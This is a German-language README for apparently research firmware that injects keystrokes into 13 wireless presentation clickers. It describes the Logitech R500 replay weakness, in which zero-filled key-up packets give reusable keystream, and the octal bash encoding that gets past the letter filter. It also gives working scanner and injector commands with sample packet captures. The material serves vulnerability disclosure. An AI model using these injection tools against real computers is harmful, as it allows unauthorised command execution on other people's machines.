
Sicherheitslücken bei der Tastatureingabe-Injektion in drahtlosen Präsentations-Klickern
Ich hatte Lust auf ein wenig RF-Reverse-Engineering, also habe ich ein paar Präsentationsklicker bestellt und hatte etwas Spaß.
Dies ist ein Fork von nrf-research-firmware (den ich vor einigen Jahren bei Bastille geschrieben habe). Ich habe Unterstützung für ein paar neue Transceiver/Protokolle hinzugefügt und Keystroke-Injection-PoCs für 13 gängige Präsentationsklicker enthalten.
| Hersteller | Modell | Protokoll | RFIC | Hinzugefügt |
|---|---|---|---|---|
| AmazonBasics | P-001 | AmazonBasics P-001 | nRF24 | 2019-04-20 |
| Canon | PR100-R | Canon PR100-R | PL1167 | 2019-04-20 |
| Funpick | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| AMERTEER | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| BEBONCOOL | D100 | HS304 | HS304 | 2019-04-20 |
| ESYWEN | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| Red Star Tech | PR-819 | HS304 | HS304 | 2019-04-20 |
| DinoFire | D06-DF-US | HS304 | HS304 | 2019-04-20 |
| TBBSC | DSIT-60 | TBBSC DSIT-60 | BK2451 | 2019-04-21 |
| Rii | Wireless Presenter | Rii Wireless Presenter | BK2451 | 2019-04-21 |
| Logitech | R400 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R800 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R500 | Logitech Encrypted | nRF24 | 2019-04-21 |
Dies ist das Standard-Protokoll für verschlüsselte Logitech-Tastaturen, wie es vom R500 verwendet wird. Es ist gewissermaßen anfällig für den „verschlüsselten Keystroke-Injection"-Angriff, den ich im Rahmen des MouseJack-Projekts für Logitech-Unifying-Tastaturen dokumentiert habe.
Ich sage gewissermaßen, weil nicht alle HID-Scancodes akzeptiert werden. Konkret werden 0x04-0x1D (A-Z) durch 0x00 ersetzt, wenn der Dongle das Paket an den Host-Computer sendet. Das bedeutet, wir können alles injizieren, was wir wollen, solange es kein Buchstabe ist. Die andere Ausnahme ist, dass Strg-Tastenkombinationen erlaubt sind, auch wenn sie Buchstaben enthalten.
Eine effektive Keystroke-Injection über den R500 erfordert, dass wir ein wenig kreativ werden.
Nehmen wir an, das Ziel befindet sich in einer Bash-Sitzung. In Bash können wir unsere Zeichen in Oktal kodieren und so Befehle kodieren, die Buchstaben enthalten, die unser Ziel ausführen soll.
Zum Beispiel wird ping google.com als $'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155' kodiert. Wenn wir diesen String an eine Bash-Sitzung senden und dann enter senden, wird der Befehl ping google.com auf dem Zielrechner ausgeführt.
Die Adresse Ihres Logitech R500 finden Sie mit nrf24-scanner wie folgt:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
Die Pakete sollten in etwa so aussehen:
[2019-04-21 13:11:52.507] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.515] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.523] 62 22 85:D1:9D:FE:07 00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81
Injektion ist möglich, weil der Dongle keine inkrementierenden AES-Zähler erzwingt, sodass Sie Pakete wiedergeben können. Ein OTA-gesendetes Paket besteht aus einer USB-HID-Nutzlast, die im AES-Counter-Modus verschlüsselt wurde, gefolgt von dem Zähler. Wenn Sie eine Taste am Präsentationsklicker drücken, erzeugt dieser ein Key-down-Paket und ein Key-up-Paket. Das Key-up-Paket besteht komplett aus Nullen, was uns schönes, sauberes Schlüsselmaterial liefert, das wir wiederverwenden, mit unserer eigenen Nutzlast per XOR verknüpfen und über OTA senden können.
Es sollte nicht schwer sein, den Prozess zu automatisieren: auf einen Tastendruck zu lauschen, das zweite (Key-up-)Paket herauszuziehen und es automatisch als Referenz für das Schlüsselmaterial zu verwenden. Aber ich bin faul, also müssen Sie zuerst selbst einen Tastendruck beobachten, was wie folgt aussieht:
[2019-04-21 16:02:56.451] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.459] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.468] 65 22 85:D1:9D:FE:07 00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9
[2019-04-21 16:02:56.475] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.507] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.516] 65 22 85:D1:9D:FE:07 00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A
[2019-04-21 16:02:56.524] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.532] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
Das zweite 22-Byte-Paket ist das Key-up-Paket.
Entfernen Sie das letzte Byte der Nutzlast und kopieren Sie den String in logitech.py, wobei Sie KEYUP_REF ersetzen.
(Es sollte nicht funktionieren, ohne KEYUP_REF zu aktualisieren, aber falls es doch funktioniert, lassen Sie es mich bitte wissen!)
Injizieren Sie die als Oktal kodierte Bash-Tastenfolge ping google.com in einen bestimmten Logitech-R500-Dongle (Adresse 85:D1:9D:FE:07):
sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07
Dies ist das standardmäßige unverschlüsselte Logitech-Protokoll, das vom R400/R800 verwendet wird.
Die Adresse Ihres Logitech R400/R800 finden Sie mit nrf24-scanner wie folgt:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
Die Pakete sollten in etwa so aussehen:
[2019-04-21 12:58:43.466] 32 0 9D:9E:95:52:07
[2019-04-21 12:58:43.620] 32 10 9D:9E:95:52:07 00:C1:00:00:00:00:00:00:00:3F
Injizieren Sie die Test-Tastenfolge in einen bestimmten Logitech-R400/R800-Dongle (Adresse 9D:9E:95:52:07):
sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07
Der Rii Wireless Presenter (Stiftform) basiert auf dem BK2451 (der offenbar ein nRF24-Klon ist). Angesichts der Verbreitung von Schwestergeräten sieht das nach einem generischen Protokoll aus, daher werde ich es wahrscheinlich neu kategorisieren, sobald ich mehr Daten habe.
Es ist funktional eine unverschlüsselte drahtlose Tastatur und anfällig für Keystroke-Injection.